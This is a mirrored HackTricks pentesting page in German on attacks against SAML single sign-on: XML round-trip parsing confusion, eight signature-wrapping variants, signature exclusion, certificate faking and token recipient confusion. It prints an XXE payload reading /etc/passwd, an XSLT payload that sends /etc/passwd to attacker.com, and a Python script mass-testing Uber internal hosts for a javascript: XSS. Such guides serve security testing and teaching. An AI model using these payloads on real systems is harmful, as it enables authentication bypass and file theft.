Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator 2e6cfdc6c6 Translated ['generic-methodologies-and-resources/basic-forensic-methodol
2024-07-19 10:13:33 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:18:38 +00:00
saml-basics.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:33 +00:00

README.md

SAML-Angriffe

SAML-Angriffe

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Tool

SAMLExtractor: Ein Tool, das eine URL oder eine Liste von URLs entgegennehmen kann und die SAML-Verbrauchs-URL zurückgibt.

XML-Rundreise

Im XML wird der signierte Teil des XML im Speicher gespeichert, dann wird eine Codierung/Dekodierung durchgeführt und die Signatur überprüft. Idealerweise sollte diese Codierung/Dekodierung die Daten nicht ändern, aber basierend auf diesem Szenario könnten die überprüften Daten und die Originaldaten nicht identisch sein.

Überprüfen Sie beispielsweise den folgenden Code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die Ausführung des Programms gegen REXML 3.2.4 oder früher würde stattdessen zu folgender Ausgabe führen:

First child in original doc: Y
First child after round-trip: Z

Dies ist, wie REXML das ursprüngliche XML-Dokument aus dem obigen Programm sah:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Und so sah es aus, nachdem es einer Runde Parsing und Serialisierung unterzogen wurde:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Für weitere Informationen über die Schwachstelle und wie man sie ausnutzen kann:

XML Signature Wrapping Angriffe

Bei XML Signature Wrapping-Angriffen (XSW) nutzen Angreifer eine Schwachstelle aus, die entsteht, wenn XML-Dokumente durch zwei verschiedene Phasen verarbeitet werden: Signaturvalidierung und Funktionsaufruf. Diese Angriffe beinhalten die Veränderung der Struktur des XML-Dokuments. Speziell fügt der Angreifer gefälschte Elemente ein, die die Gültigkeit der XML-Signatur nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den Elementen zu schaffen, die von der Anwendungslogik analysiert werden, und denen, die vom Signaturüberprüfungsmodul überprüft werden. Dadurch verarbeitet die Anwendungslogik effektiv die betrügerischen Elemente, obwohl die XML-Signatur technisch gültig ist und die Überprüfung besteht. Folglich umgeht der Angreifer effektiv den Integritätsschutz und die Ursprungsauthentifizierung der XML-Signatur und ermöglicht die Injektion beliebigen Inhalts ohne Entdeckung.

Die folgenden Angriffe basieren auf diesem Blog-Beitrag und diesem Paper. Überprüfen Sie diese für weitere Details.

XSW #1

  • Strategie: Ein neues Wurzelelement mit der Signatur wird hinzugefügt.
  • Auswirkung: Der Validator kann zwischen dem legitimen "Response -> Assertion -> Subject" und dem vom Angreifer stammenden "bösen neuen Response -> Assertion -> Subject" durcheinander geraten, was zu Problemen mit der Datenintegrität führen kann.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Unterschied zu XSW #1: Verwendet eine abgelöste Signatur anstelle einer umschließenden Signatur.
  • Auswirkung: Die "böse" Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Geschäftslogik nach der Integritätsprüfung zu täuschen.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategie: Eine böse Assertion wird auf derselben hierarchischen Ebene wie die ursprüngliche Assertion erstellt.
  • Auswirkung: Ziel ist es, die Geschäftslogik zu verwirren, damit sie die bösartigen Daten verwendet.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Unterschied zu XSW #3: Die ursprüngliche Assertion wird zu einem Kind der duplizierten (bösen) Assertion.
  • Auswirkung: Ähnlich wie XSW #3, aber verändert die XML-Struktur aggressiver.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Besonderheit: Weder die Signatur noch die ursprüngliche Assertion entsprechen den Standardkonfigurationen (umhüllt/umschließend/abgelöst).
  • Auswirkung: Die kopierte Assertion umhüllt die Signatur und verändert die erwartete Dokumentenstruktur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategie: Ähnliche Positionseinfügung wie bei XSW #4 und #5, aber mit einer Wendung.
  • Auswirkung: Die kopierte Assertion umhüllt die Signatur, die dann die ursprüngliche Assertion umhüllt, und erzeugt eine verschachtelte irreführende Struktur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategie: Ein Extensions-Element wird mit der kopierten Assertion als Kind eingefügt.
  • Auswirkung: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um die Gegenmaßnahmen der Schemaüberprüfung zu umgehen, insbesondere in Bibliotheken wie OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Unterschied zu XSW #7: Verwendet ein anderes weniger restriktives XML-Element für eine Variante des Angriffs.
  • Auswirkung: Die ursprüngliche Assertion wird zu einem Kind des weniger restriktiven Elements, wodurch die Struktur, die in XSW #7 verwendet wurde, umgekehrt wird.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Sie können die Burp-Erweiterung SAML Raider verwenden, um die Anfrage zu analysieren, einen beliebigen XSW-Angriff auszuwählen und auszuführen.

XXE

Wenn Sie nicht wissen, welche Art von Angriffen XXE sind, lesen Sie bitte die folgende Seite:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML-Antworten sind deflate- und base64-codierte XML-Dokumente und können anfällig für XML External Entity (XXE)-Angriffe sein. Indem sie die XML-Struktur der SAML-Antwort manipulieren, können Angreifer versuchen, XXE-Schwachstellen auszunutzen. So kann ein solcher Angriff visualisiert werden:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Werkzeuge

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu generieren, um mögliche XXE-Schwachstellen und SAML-Schwachstellen zu testen.

Schauen Sie sich auch diesen Vortrag an: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT über SAML

Für weitere Informationen zu XSLT gehen Sie zu:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformations (XSLT) können verwendet werden, um XML-Dokumente in verschiedene Formate wie HTML, JSON oder PDF zu transformieren. Es ist wichtig zu beachten, dass XSLT-Transformationen vor der Überprüfung der digitalen Signatur durchgeführt werden. Dies bedeutet, dass ein Angriff auch ohne gültige Signatur erfolgreich sein kann; eine selbstsignierte oder ungültige Signatur reicht aus, um fortzufahren.

Hier finden Sie einen POC, um nach dieser Art von Schwachstellen zu suchen. Auf der Hacktricks-Seite, die am Anfang dieses Abschnitts erwähnt wird, finden Sie Payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Werkzeug

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu generieren, um mögliche XSLT-Schwachstellen zu testen.

Schauen Sie sich auch diesen Vortrag an: https://www.youtube.com/watch?v=WHn-6xHL7mI

Ausschluss der XML-Signatur

Der Ausschluss der XML-Signatur beobachtet das Verhalten von SAML-Implementierungen, wenn das Signatur-Element nicht vorhanden ist. Wenn dieses Element fehlt, kann die Signaturvalidierung möglicherweise nicht erfolgen, was es anfällig macht. Es ist möglich, dies zu testen, indem man die Inhalte ändert, die normalerweise von der Signatur überprüft werden.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Werkzeug

Sie können auch die Burp-Erweiterung SAML Raider verwenden. Fangen Sie die SAML-Antwort ab und klicken Sie auf Remove Signatures. Dadurch werden alle Signatur-Elemente entfernt.

Nachdem die Signaturen entfernt wurden, lassen Sie die Anfrage zum Ziel weiterleiten. Wenn die Signatur vom Dienst nicht benötigt wird

Zertifikat-Fälschung

Zertifikat-Fälschung ist eine Technik, um zu testen, ob ein Dienstanbieter (SP) ordnungsgemäß überprüft, ob eine SAML-Nachricht von einem vertrauenswürdigen Identitätsanbieter (IdP) signiert ist. Dabei wird ein *selbstsigniertes Zertifikat verwendet, um die SAML-Antwort oder Assertion zu signieren, was bei der Bewertung des Vertrauensvalidierungsprozesses zwischen SP und IdP hilft.

Durchführung der Zertifikat-Fälschung

Die folgenden Schritte beschreiben den Prozess unter Verwendung der SAML Raider Burp-Erweiterung:

  1. Fangen Sie die SAML-Antwort ab.
  2. Wenn die Antwort eine Signatur enthält, senden Sie das Zertifikat an SAML Raider Certs mit der Schaltfläche Send Certificate to SAML Raider Certs.
  3. Wählen Sie im Register SAML Raider Certificates das importierte Zertifikat aus und klicken Sie auf Save and Self-Sign, um einen selbstsignierten Klon des Originalzertifikats zu erstellen.
  4. Gehen Sie zurück zur abgefangenen Anfrage im Burp-Proxy. Wählen Sie das neue selbstsignierte Zertifikat aus dem Dropdown-Menü XML-Signatur.
  5. Entfernen Sie vorhandene Signaturen mit der Schaltfläche Remove Signatures.
  6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat mithilfe der Schaltfläche (Re-)Sign Message oder (Re-)Sign Assertion, wie es angemessen ist.
  7. Leiten Sie die signierte Nachricht weiter. Eine erfolgreiche Authentifizierung zeigt an, dass der SP Nachrichten akzeptiert, die von Ihrem selbstsignierten Zertifikat signiert sind, und offenbart potenzielle Schwachstellen im Validierungsprozess der SAML-Nachrichten.

Token-Empfänger-Verwirrung / Verwirrung des Dienstanbieterziels

Token-Empfänger-Verwirrung und Verwirrung des Dienstanbieterziels beinhalten die Überprüfung, ob der Dienstanbieter den beabsichtigten Empfänger einer Antwort korrekt validiert. Im Wesentlichen sollte ein Dienstanbieter eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Anbieter bestimmt war. Das entscheidende Element hierbei ist das Recipient-Feld, das sich im SubjectConfirmationData-Element einer SAML-Antwort befindet. Dieses Feld gibt eine URL an, die angibt, wohin die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem beabsichtigten Dienstanbieter übereinstimmt, sollte die Assertion als ungültig angesehen werden.

Wie es funktioniert

Damit ein SAML-Token-Empfänger-Verwirrung (SAML-TRC)-Angriff durchführbar ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto bei einem Dienstanbieter geben (bezeichnet als SP-Legit). Zweitens muss der gezielte Dienstanbieter (SP-Target) Token vom gleichen Identitätsanbieter akzeptieren, der SP-Legit bedient.

Der Angriffsprozess ist unter diesen Bedingungen unkompliziert. Eine authentische Sitzung wird mit SP-Legit über den gemeinsamen Identitätsanbieter gestartet. Die SAML-Antwort vom Identitätsanbieter an SP-Legit wird abgefangen. Diese abgefangene SAML-Antwort, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target umgeleitet. Der Erfolg dieses Angriffs wird daran gemessen, ob SP-Target die Assertion akzeptiert und Zugriff auf Ressourcen unter demselben Kontonamen gewährt, der für SP-Legit verwendet wurde.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-Funktionalität

Die Originalforschung kann über diesen Link abgerufen werden.

Während des Prozesses des Verzeichnis-Brute-Forcings wurde eine Logout-Seite entdeckt unter:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Beim Zugriff auf diesen Link kam es zu einer Weiterleitung auf:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dies hat offenbart, dass der base-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch javascript:alert(123); zu ersetzen, um einen XSS (Cross-Site Scripting)-Angriff zu initiieren.

Massenausbeutung

Aus dieser Forschung:

Das SAMLExtractor-Tool wurde verwendet, um Subdomains von uberinternal.com auf Domains zu analysieren, die dieselbe Bibliothek nutzen. Anschließend wurde ein Skript entwickelt, um die Seite oidauth/prompt anzugreifen. Dieses Skript testet auf XSS (Cross-Site Scripting), indem es Daten eingibt und überprüft, ob sie im Output reflektiert werden. In Fällen, in denen die Eingabe tatsächlich reflektiert wird, markiert das Skript die Seite als verwundbar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: